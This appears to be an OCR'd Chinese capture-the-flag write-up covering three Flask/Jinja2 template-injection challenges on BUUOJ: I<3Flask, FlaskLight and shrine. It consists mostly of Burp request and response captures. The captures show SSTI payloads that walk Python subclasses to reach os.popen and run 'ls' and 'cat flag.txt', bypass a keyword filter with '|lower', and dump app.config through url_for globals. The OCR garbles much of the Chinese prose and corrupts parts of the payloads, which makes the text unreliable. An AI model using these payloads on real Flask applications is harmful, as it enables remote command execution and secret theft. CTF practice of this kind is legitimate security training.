£S5 BBs B3 online_Tools EF sRC 5 W&t B sAxt B F#0mE B s¥InxE B Ae0cRs B werg¥sEs B $9¥a B FBR B CTFLENESE DockersR3C 3t ... Welcome to Secur... Bypass Open_bas...

{'request.application.__self__json_module.current_app.config': "<Config {'ENV": 'production’, 'DEBUG" True, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY": None,
'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE": False, 'SERVER_NAME": None, 'APPLICATION_ROOT": /', 'SESSION_COOKIE_NAME'": 'session’, 'SESSION_COOKIE_DOMAIN': None,
'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY": True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, '‘SESSION_REFRESH_EACH_REQUEST": True, 'MAX_CONTENT_LENGTH": None,
'SEND_FILE_MAX_AGE_DEFAULT": datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS": None, 'TRAP_HTTP_EXCEPTIONS": False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME'": 'http',
'JSON_AS_ASCII': True, 'JSON_SORT_KEYS'": True, 'JSONIFY_PRETTYPRINT_REGULAR": False, 'JSONIFY_MIMETYPE": ‘application/json', 'TEMPLATES_AUTO_RELOAD": None, 'MAX_COOKIE_SIZE': 4093, 'secret': 'flag123}>"}

58

[RootersCTF2019]l_<3_Flask

WITRAFFEMITL, RITAFEN, fuzz7 —TSEIIRTMUKEI—TSH8name (ZREHOAEHFETEA, FAREFXREEMEFENR T B TnameS ) .

fuzz os modulef9fi & :

GET /?name={{%27%27.__class__.__base__.__subclasses__()[8§18].__init__.__globals__["'os']}} HTTP/1.1

Host: 9bdlb45a-5ca7-40e8-8a66-c5774beb3dd0d.node3.buuoj.cn

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;
v=b3;0=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9,en;q=0.8

Connection: close



@ Intruder attack 9

J Results TTarget T Positions T Payloads T Options ]

| Filter: Showing all items |®
Request | Payload |Status 4| Error | Timeout | Length | Comment
T zr o raviv) () (-} zZJIU el
274 274 200 O O 2516 s
275 275 200 =~ O0J 2516 5
276 276 200 O O 2516
277 277 200 O O 2516
278 278 200 O O 2516
279 279 200 U (J 2516
281 281 200 O @] 2516
282 282 200 O O 2516
283 283 200 O )] 2516
284 284 200 =~ O0J 2516
285 285 200 @] ()] 2516
286 286 200 O O 2516
287 287 200 @) O 2443 >
n00 n00 200 [ (| LY.V} Y

Response

J Raw T Headers T Hex T Render ]

47 <main role="main" class="container"> A

48 <div class="row"> -

49 <div class="col-md-8">

50

51 <div class="content-section">

52 I shearts; Flask & &lt;module &#39;0s&#39; from &#39;/usr/local/lib/python3.8/0s.py&#39;&gt;

53 </div> )

54

55 </div>

56 </div>

57 </main> >
v

58
@@ 0s 4 matches

T T |

HATISAT AR flag. txt



Burp Suite Professional v2020.8 - Temporary Project - licensed to google

[Dashboard TTarget TProxy Tlntruder T Repeater I Sequencer TDecoder TComparer TExtender TProject options TUser options TAuthz TKnife TBuerSLinkFinder TLogger++ ]

15 < J6 7 <]8x]9xJ10x]11 ~]12~]13~]14~]15 1617 x [18 x [19 % .. ]

Cancel >|v Target: http://9bd1b45a-5ca7-40e8-8a66-c5774beb3dd0.node3.buucjcn 2 (2)
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex Render
1 GET /?name= A integrity="sha384-ggOyROiXChMOV3Xipma34MD+dH/1£0784/36CY/1JTQUOCHr 7x9 A
{{%27%27.__class__._base_ ._ subclasses_ ()[279].__init__ ._globals_ ['oF 22 <!-- Font Awesome --> R
s'].popen("ls").read()}} HTTP/1.1 23 <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5. 6|
2 Host: 9bdlb45a-5ca7-40e8-8a66-c5774beb3dd0.node3.buuoj.cn 24 <l-- local css —-->
3 Pragma: no-cache 25 <link rel="stylesheet" type="text/css" href="/static/main.css" />
4 Cache-Control: no-cache 26 Zi—= Pitle ==>
5 Upgrade-Insecure-Requests: 1 27 <title>
6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_5) I shearts; Flask
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 </title>
7 Accept: 28 </head>
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif, image/we 29
bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 30 <body> (4
8 Accept-Encoding: gzip, deflate 31
9 Accept-Language: zh-CN,zh;g=0.9,en;g=0.8 32 <l-- Header -->
10 Connection: close 33 <header clas site-header">
11 34 <nav class="navbar navbar-expand-md navbar-dark bg-steel fixed-top">
12 35 <div class="container">
36 <a class="navbar-brand mr-4" href="/">I &hearts; Flask</a>
37 <div class="collapse navbar-collapse" id="navbarToggle">
38 <div class="navbar-nav mr-auto">
39 <a class="nav-item nav-link" href="/">Home</a>
40 </div>
41 </div>
42 </div>
” 43 </nav>
44 </header>
45
46 <!-- Main -->
47 <main role="main" class="container">
48 <div class="row">
49 <div class="col-md-8">
50
51 <div class="content-section">
52 I &hearts; Flask & application.py
53 [flag.txt
54 requirements.txt
55 static
56 templates
57 _/
58 </div>
59
60 </div>
61 </div>
62 </main>
63
64 <!-- Footer -->
65 <footer>
66 <!-- Footer Elements -->
67 <div id="footer-container">
68 <!-- Twitter -->
69 <a targe _blank" href="https://twitter.com/abs0lut3pwn4g3"> »
B 70 <i class="fab fa-twitter fa-1lg white-text mr-md-5 mr-3 fa-2x"> v
v <" J >
@{{3} Search... 0 matches Pretty ®l{§} Search... 0 matches Pretty
Done 2,501 bytes | 110 millis
S J]

BiE cat flag.txt FtEJLABEIflag:



Burp Suite Professional v2020.8 - Temporary Project - licensed to google

[Dashboard TTarget TProxy Tlntruder T Repeater I Sequencer TDecoder TComparer TExtender TProject options TUser options TAuthz TKnife TBuerSLinkFinder TLogger++ ]

15 < J6 7 <]8x]9xJ10x]11 ~]12~]13~]14~]15 1617 x [18 x [19 % .. ]

Cancel >|v Target: http://9bd1b45a-5ca7-40e8-8a66-c5774beb3dd0.node3.buucjcn 2 (2)

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex Render]

1 GET /?name= A 38 <div class="navbar-nav mr-auto"> A
{{%27%27.__class__. base . subclasses_ ()[279].__init . globals_['ofF 39 <a class="nav-item nav-link" href="/">Home</a> R
s'].popen("cat%20flag.txt").read()}} HTTP/1.1 40 </div>

2 Host: 9bdlb45a-5ca7-40e8-8a66-c5774beb3dd0.node3.buuoj.cn 41 </div>

3 Pragma: no-cache 42 </div>

4 Cache-Control: no-cache 43 </nav>

5 Upgrade-Insecure-Requests: 1 44 </header>

6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_5) 45
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 46 <l-- Main -->

7 Accept: 47 <main role="main" class="container">
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif, image/we 48 <div class="row">
bp,image/apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.9 49 <div class="col-md-8">

8 Accept-Encoding: gzip, deflate 50

9 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 51 <div class="content-section">

i? Connection: close 52 I shearts; Flask & flag{fe8d718c-29b6-4a2d-9234-£965c62b84d9}
53
12 54 </div>
55
56 </div>
57 </div>
58 </main>
59
60 <!-- Footer --> ™\
61 <footer>
” 62 <!-- Footer Elements -->
63 <div id="footer-container">
64 <!-- Twitter -->
65 <a target="_blank" href="https://twitter.com/abs0lut3pwnd4g3">
66 <i class="fab fa-twitter fa-1lg white-text mr-md-5 mr-3 fa-2x">
</i>
67 </a>
68 <!-- Website -->
69 <a target="_blank" href="https://abs0lut3pwn4g3.cf/">
70 <i class="fab fa-dev fa-1lg white-text mr-md-5 mr-3 fa-2x">
</i>
71 </a>
72 <!-- Github -->
73 <a target="_blank" href="https://github.com/abs0lut3pwndg3">
74 <i class="fab fa-github fa-lg white-text mr-md-5 mr-3 fa-2x">
</i>
75 </a>
76 </div>
77 <!-- Footer Elements -->
78 </footer>
79 <!-- /Footer -->
80
81 </body>
82
- 83 </html> v
v <« J T
@@ Search... 0 matches Pretty ®{§§ Search... 0 matches Pretty

Done 2,486 bytes | 78 millis

[CSCCTF 2019 QualjFlaskLight

BERBA LRI AR ~searchS

<html>

<head>
<title>Flasklight</title>

</head>

<body>
<marquee><hl>Flasklight</hl></marquee>
<h2>You searched for:</h2>
<h3>None</h3>
<br>
<h2>Here is your result</h2>
<h3>[ ]</h3><br>

<!-- Parameter Name: search -->
<!-- Method: GET -->

</body>

</html>

MK — T RIARIASSSTI:



< C A 7%&% | 86b013a6-c078-43cc-a9c9-06ee3459b665.node3.buuoj.cn/?

BBS Online_Tools E5 SRC REGEHIT BEAXK B FENmE FEINXE ImEREE

You searched for:

0

Here is your result

[

{{1-1}} > 0
ML ZBILIE T globals kT, FJUEERAITIRERS:
{{'__globalLs__"I|lower}}

TEweb B & T EIflag X 4 :



Burp Suite Professional v2020.8 - Temporary Project - licensed to google

[Dashboard TTarget TProxy Tlntruder T Repeater I Sequencer TDecoder TComparer TExtender TProject options TUser options TAuthz TKnife TBuerSLinkFinder TLogger++ ]

15 < J6 7 <]8x]9xJ10x]11 ~]12~]13~]14 ~]15 x]16 «[17 x [18 x [19 x [20 « | ... |

Cancel >|v Target: http://86b01326-c078-43cc-a9c9-06ee3459b665.n0de3.buucicn 2 (7)

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex Render]

1 GET /?search= A 1 HTTP/1.1 200 OK A
{{%27%27.__class__.__base_ ._base_ ._subclasses_ ()[195]._ init_['_ gl 2 Server: openresty h
obaLs__ '|lower]['os']['popen']("ls+./flasklight").read()}} HTTP/1.1 3 Date: Thu, 24 Sep 2020 15:17:33 GMT

2 Host: 86b013a6-c078-43cc-a9c9-06ee3459b665.node3.buuoj.cn 4 Content-Type: text/html; charset=utf-8

3 Cache-Control: max-age=0 5 Content-Length: 255

4 Upgrade-Insecure-Requests: 1 6 Connection: close

5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) 7
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 8 <!DOCTYPE html>

6 Accept: 9 <html>
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/we 10 <head>
bp,image/apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.9 11 <title>

7 Accept-Encoding: gzip, deflate Flasklight

8 Accept-Language: zh-CN,zh;g=0.9,en;g=0.8 </title>

9 Connection: close 12 </head>

10 13 <body>
11 14 <marquee>
<h1l>
Flasklight
</h1>
</marquee>
15 <h2>
You searched for:
</h2>
16 <h3>
N app.py
‘ 17 coomme_geeeett_youur_flek
18 </h3>
19 <br>
20 <h2>
Here is your result
</h2>
21 <h3>
[]
</h3>
22 </body>
23 </html>
= >
v v
@{{3} Search... 0 matches Pretty 0 matches Pretty

Done 410 bytes | 535 millis

BN HENT :



€] Burp Suite Professional v2020.8 - Temporary Project - licensed to google

[Dashboard TTarget TProxy Tlntruder T Repeater I Sequencer TDecoder TComparer TExtender TProject options TUser options TAuthz TKnife TBuerSLinkFinder TLogger++ ]

15 < J6 7 <]8x]9xJ10x]11 ~]12~]13~]14 ~]15 x]16 «[17 x [18 x [19 x [20 « | ... |

Cancel >|v Target: http://86b01326-c078-43cc-a9c9-06ee3459b665.n0de3.buucicn 2 (7)

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex Render]

1 GET /?search= A 1 HTTP/1.1 200 OK A
{{%27%27.__class__.__base__.__base__.__subclasses__ ()[195].__init_ ['__ gl 2 Server: openresty R
obaLs__'|lower]['os'][ 'popen']("cat+./flasklight/coomme_geeeett_youur_fle 3 Date: Thu, 24 Sep 2020 15:18:01 GMT
K EEead @ EETTE/ 4 Content-Type: text/html; charset=utf-8

2 Host: 86b013a6-c078-43cc-a9%c9-06ee3459b665.node3.buuoj.cn 5 Content-Length: 265

3 Cache-Control: max-age=0 6 Connection: close

4 Upgrade-Insecure-Requests: 1 7

5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_5) 8 <!DOCTYPE html>
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 9 <html>

6 Accept: 10 <head>
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif, image/we 11 <title>
bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Flasklight

7 Accept-Encoding: gzip, deflate </title>

8 Accept-Language: zh-CN,zh;g=0.9,en;g=0.8 12 </head>

9 Connection: close 13 <body>

10 14 <marquee>
11 <h1l>
Flasklight
</h1>
</marquee>
15 <h2>
You searched for:
</h2>
16 <h3>
flag{d09c0ef8-£772-404b-b32a-277793e6b2f4}
| 17 </h3>
18 <br>
19 <h2>
Here is your result
</h2>
20 <h3>
[1]
</h3>
21 </body>
22 </html>
= >
v v
@{é} Search... 0 matches Pretty Search... 0 matches Pretty

Done 420 bytes | 98 millis

[WesternCTF2018]shrine

EISPEIE

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG")
@app.route('/")

def index():
return open(__file__).read()

@app. route('/shrine/<path:shrine>")
def shrine(shrine):

def safe_jinja(s):



s = s.replace('(', "").replace(')', '"")
blacklist = ['config', 'self']
return "'.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__":

app . run(debug=True)

i T configflself, Ei% _Efuzzd¥ R EERIBIATIT:

@app.route( )
search_function():
search_class = search(
search_class.visit(url_for D]

escape( (search_class.get_search_result()))

C © 127.0.0.1:888 * =

B5 BBS [E5 Online_Tools E5 SRC E5 @it BB 8Ax# B FanmE B #%I0XE B WEN0EE B WeBREXIEE B 4978 B FBR B CTFEENER Dockers3 X ... Welcome to Secur... Bypass Open_bas...

{'url_for.__globals__._app_ctx_stack.top.app.config": "<Config {'ENV": 'production’, 'DEBUG'": True, 'TESTING": False, 'PROPAGATE_EXCEPTIONS'": None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY": None,
'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE": False, 'SERVER_NAME": None, 'APPLICATION_ROOT 'SESSION_COOKIE_NAME': 'session’, 'SESSION_COOKIE_DOMAIN': None,
'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY": True, 'SESSION_COOKIE_SECURE': False, '‘SESSION_COOKIE_SAMESITE": None, 'SESSION_REFRESH_EACH_REQUEST": True, 'MAX_CONTENT_LENGTH'": None,
'SEND_FILE_MAX_AGE_DEFAULT": datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS": None, 'TRAP_HTTP_EXCEPTIONS": False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME": 'http',
'JSON_AS_ASCII': True, 'JSON_SORT_KEYS'": True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE": ‘application/json', 'TEMPLATES_AUTO_RELOAD": None, 'MAX_COOKIE_SIZE': 4093, 'secret": 'qwe'}>"}

& C A TR2 | c2540eb8-ad0a-4d9a-a47a-383abf0807d7.node3.buuoj.cn/s e Burl_for.__globals__._app_ctx_stack.top.app.config%7D

£S5 BBS B3 online_Tools E5 SRC 5 W&t B 5Axt B F#0HE B $¥I0xE B WEN0EE B weskg¥sEs B 59¥4 B FBR B CTFLENER Dockers3 X4 ...

Welcome to Secur... Bypass Open_bas...

<Config {'JSON_AS_ASCII': True 'USE_X SENDFILE' False, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PATH'": None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME": 'session’, 'MAX_COOKIE_SIZE": 4093,
'SESSION_COOKIE_SAM 0 ~production’, 'DEBUG": False, 'SECRET_KEY": None, 'EXPLAIN_TEMPLATE_LOADING'": False, 'MAX_CONTENT_LENGTH": None, 'APPLICATION_ROOT":
'SERVER_NAME': None| ,|PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'TESTING": False, 'PERMANENT_SESSION_LIFETIME":
datetime.timedelta(31), TEMPLATES_AUTO_RELOAD": None, 'TRAP_BAD_REQUEST_ERRORS': None, 'JSON_SORT_KEYS'": True, 'JSONIFY_MIMETYPE": 'application/json’, 'SESSION_COOKIE_HTTPONLY": True,
'SEND_FILE_MAX_AGE_DEFAULT": datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_REFRESH_EACH_REQUEST": True, 'TRAP_HTTP_EXCEPTIONS': False}>

/'



